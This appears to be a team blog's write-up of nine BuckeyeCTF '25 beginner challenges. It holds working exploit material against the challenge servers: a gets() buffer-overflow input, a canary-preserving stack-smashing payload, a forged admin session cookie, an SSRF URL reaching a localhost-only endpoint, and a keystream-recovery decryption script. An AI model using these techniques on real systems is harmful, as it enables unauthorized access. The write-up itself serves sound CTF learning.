team-logo
Published on

BuckeyeCTF '25 - Beginner Challenges

Authors

Challenge: 1985 (1/9)

Attachment: email.txt

The sole file this chall includes (email.txt) is a relict of the boomer-Internet era, just like the description suggests.

➜  ~ file email.txt
email.txt: uuencoded text, file name "FLGPRNTR.COM", ASCII text

The way the attachment is encoded (uuencoding) is an anachronism - today one would expect base64 in this role. It's not my era, so I had to look-up: turns out even the 1992 MIME standard proposal references uuencoding as a mean of an e-mail attachment.

Anyway.

The solution is to extract the attachment and run included .COM file using the DOS emulator dosbox (truly a 1985 postcard in all details):

uudecode ./email.txt
dosbox -c "mount c $(pwd)" -c "c:" -c "FLGPRNTR.COM"

Challenge: Cosmonaut (2/9)

Attachment: cosmonaut.com

What, another .COM file!? Let's run it with Wine:

➜ ~/dev/ctf wine ./cosmonaut.com
Cosmonauts run their programs everywhere and all at once. Like on Windows! 
<redacted, one-third of the flag>

Ok, first (and spot-on) thought - I will need to run this on multiple platforms - each printing a part of the flag. After a quick inspection with IDA, turns out the platforms of interest are Windows, FreeBSD and Linux. I decided to inspect and modify the logics of platform detection in IDA.

The per-platform branching lies here:

What the chunk of instructions above does is: test if Windows, then print Windows part of the flag, test if Linux, then print Linux part of the flag, test if FreeBSD ... .

I patched individual instructions with NOP (no-operation), so to slide directly into the platform of interest. In example, with the following modification:

The binary printed:

➜ ~/dev/ctf wine ./cosmonaut.com 
Cosmonauts run their programs everywhere and all at once. Like on FreeBSD! 
<redacted>}

Once I ran it 3 times (once with the original and twice with modified binary), I have managed to gather all the parts of the flag.

Challenge: viewer (3/9)

Attachments: chall.c, viewer

After inspecting chall.c, it turns out it's a classic example of how no input sanitisation allows to write on stack memory:

int main() {
    viewee_t viewee = INVALID;
    char input[10]; // (mindcrafters) here lands our input
    bool is_admin = false; // (mindcrafters) ...and this we need to write over 

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("What would you like to view?\n> ");
    gets(input);
    
    ...
    } else if (strcmp(input, "flag") == 0 && is_admin) {
        viewee = FLAG;
    }
    ...

Confidently skipping the binary we have and sending directly to the one exposed on viewer.challs.pwnoh.io:

( printf $'flag\0AAAAAA\n'; cat ) | ncat --ssl viewer.challs.pwnoh.io 1337

Challenge: hexv (4/9)

No attachments!

Here's a recon of the service linked in description:

It looks it offers a few functions in a REPL-like loop and, very conveniently, a function to show the current stack in hex.

Colors are assumed to distinguish between data (yellow), stack canary (red), and possibly return from function address (blue). The only thing that really mattered was the red stack canary - not to be overwritten! The rest would be sprayed with a shotgun shot of print_flag address.

Now, apologies for not using pwntools or any proper way scripted from start to finish, but I did it in a hurry - here's a rudimentary payload I crafted and sent via the ncat session:

payload = 'str 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000aaaaaaaaaaaaaaaa0000000000000000000000000000000000000000000000000000000000000000' 

# To be read from "funcs" (this value changes each time you connect!)
print_flag_addr = 'e9d2c1e574550000' 
# To be read from "dump" (this value changes each time you connect!)
canary_val = '0087e996358efade'

payload = payload.replace('0000000000000000', print_flag_addr)
payload = payload.replace('aaaaaaaaaaaaaaaa', canary_val)
print(payload)

And here's the attack:

Challenge: Mind Boggle (5/9)

Attachment: mystery.txt

Quick inspection of downloaded attachment:

➜  ~ cat mystery.txt
-[----->+<]>++.++++.---.[->++++++<]>.[---->+++<]>+.-[--->++++<]>+.>-[----->+<]>.---.+++++.++++++++++++.-----------.[->++++++<]>+.--------------.---.-.---.++++++.---.+++.+++++++++++.-------------.++.+..-.----.++...-[--->++++<]>+.-[------>+<]>..--.-[--->++++<]>+.>-[----->+<]>.---.++++++.+..++++++++++.------------.+++.-----.-.+++++..----.---.++++++.-..++.--.+.-.--.+++.---..--.++.++++++.----..+.---.+++.+++++++++++.-------------.++.+..-.----.++...-[--->++++<]>+.-[------>+<]>...--..+++.-.++.----.++.-.+++.-----.---.+++++.+.+.--..++++.------..+.+++++++++++++.>-[----->+<]>.++...-.++++.---.----.++++++.+.----.-[--->++++<]>.[---->+++<]>+.+.--.++.--.++++++.

If it's not obvious already - this is how Brainfuck programming language looks like. Quick Google for "Brainfuck interpreter" to run it:

It produced a hex string. Let's deep further in Cyberchef:

Challenge: Ramesses (6/9)

Attachment: ramesses.zip

Website recon: there's a login page, which upon entering any credentials redirects to the following page:

After inspecting sources attached in ramesses.zip, turns out printing the flag is just a matter of setting a special session cookie:

@app.route("/", methods=["GET", "POST"])
def home():
    if request.method == "POST":
        name = request.form.get("name", "")
        cookie_data = {"name": name, "is_pharaoh": False}
        # (mindcrafters): here!
        encoded = base64.b64encode(json.dumps(cookie_data).encode()).decode()

        response = make_response(redirect(url_for("tomb")))
        response.set_cookie("session", encoded)
        return response

    return render_template("index.html")

Lets's craft it:

>>> base64.b64encode(b'{"name": "test", "is_pharaoh": true}').decode()
'eyJuYW1lIjogInRlc3QiLCAiaXNfcGhhcmFvaCI6IHRydWV9'

And modify the cookie after login attempt (can use any credentials):

Refresh page:

Challenge: The Professor's Files (7/9)

Quick win, no need to even open the document:

➜  ~ unzip OSU_Ethics_Report.docx
Archive:  OSU_Ethics_Report.docx
  inflating: [Content_Types].xml
  inflating: _rels/.rels
  inflating: docProps/app.xml
  inflating: docProps/core.xml
  inflating: docProps/custom.xml
  inflating: word/_rels/document.xml.rels
  inflating: word/document.xml
  inflating: word/fontTable.xml
  inflating: word/settings.xml
  inflating: word/styles.xml
  inflating: word/theme/theme1.xml
➜  ~ grep -rnF . -e bctf
./word/theme/theme1.xml:16:      <!-- bctf{REDACTED} -->

Challenge: ebg13 (8/9)

Attachment: ebg13.zip

So - the website exposes this functionality of fetching given website and applying ROT13 cipher on it:

After investigating attached sources, turns out there's an /admin endpoint which prints the flag:

server.js:135

...
fastify.get('/admin', async (req, reply) => {
    if (req.ip === "127.0.0.1" || req.ip === "::1" || req.ip === "::ffff:127.0.0.1") {
      return reply.type('text/html').send(`Hello self! The flag is ${FLAG}.`)
    }

    return reply.type('text/html').send(`Hello ${req.ip}, I won't give you the flag!`)
})
...

It does it only in case of the request source being equivalent with localhost (written above in multiple notations). Let's apply the website on itself, then:

https://ebg13.challs.pwnoh.io/ebj13?url=http://127.0.0.1:3000/admin

Success. We've got a ROT13 string to pass to Cyberchef:

Challenge: Augury (9/9)

Attachment: main.py

We are presented with a python service for hosting files - the one and only file stored presumably holds the flag:

Solution (based on the encryption scheme in main.py):

from pwn import xor

def recover_first_key(ct, pt_first_block):
    assert len(pt_first_block) == 4
    return xor(ct[:4], pt_first_block)

def get_next_key(prev_key):
    prev_keystream = int.from_bytes(prev_key, byteorder="big")
    next_keystream = (prev_keystream * 3404970675 + 3553295105) % (2**32)
    next_key = next_keystream.to_bytes(4, byteorder="big")
    return next_key

# Previously downloaded (encrypted) picture:
with open("secret_pic.png.enc") as f:
    ct = bytes.fromhex(f.read().strip())

pt = b""
key = recover_first_key(ct, b"\x89PNG") # Known PNG magic

for i in range(0, len(ct), 4):
    pt += xor(ct[i : i + 4], key)
    key = get_next_key(key)

with open("secret_pic.png", "wb") as f:
    f.write(pt)

Bonus

Visit our repo for more writeups: https://github.com/MindCraftersi/ctf/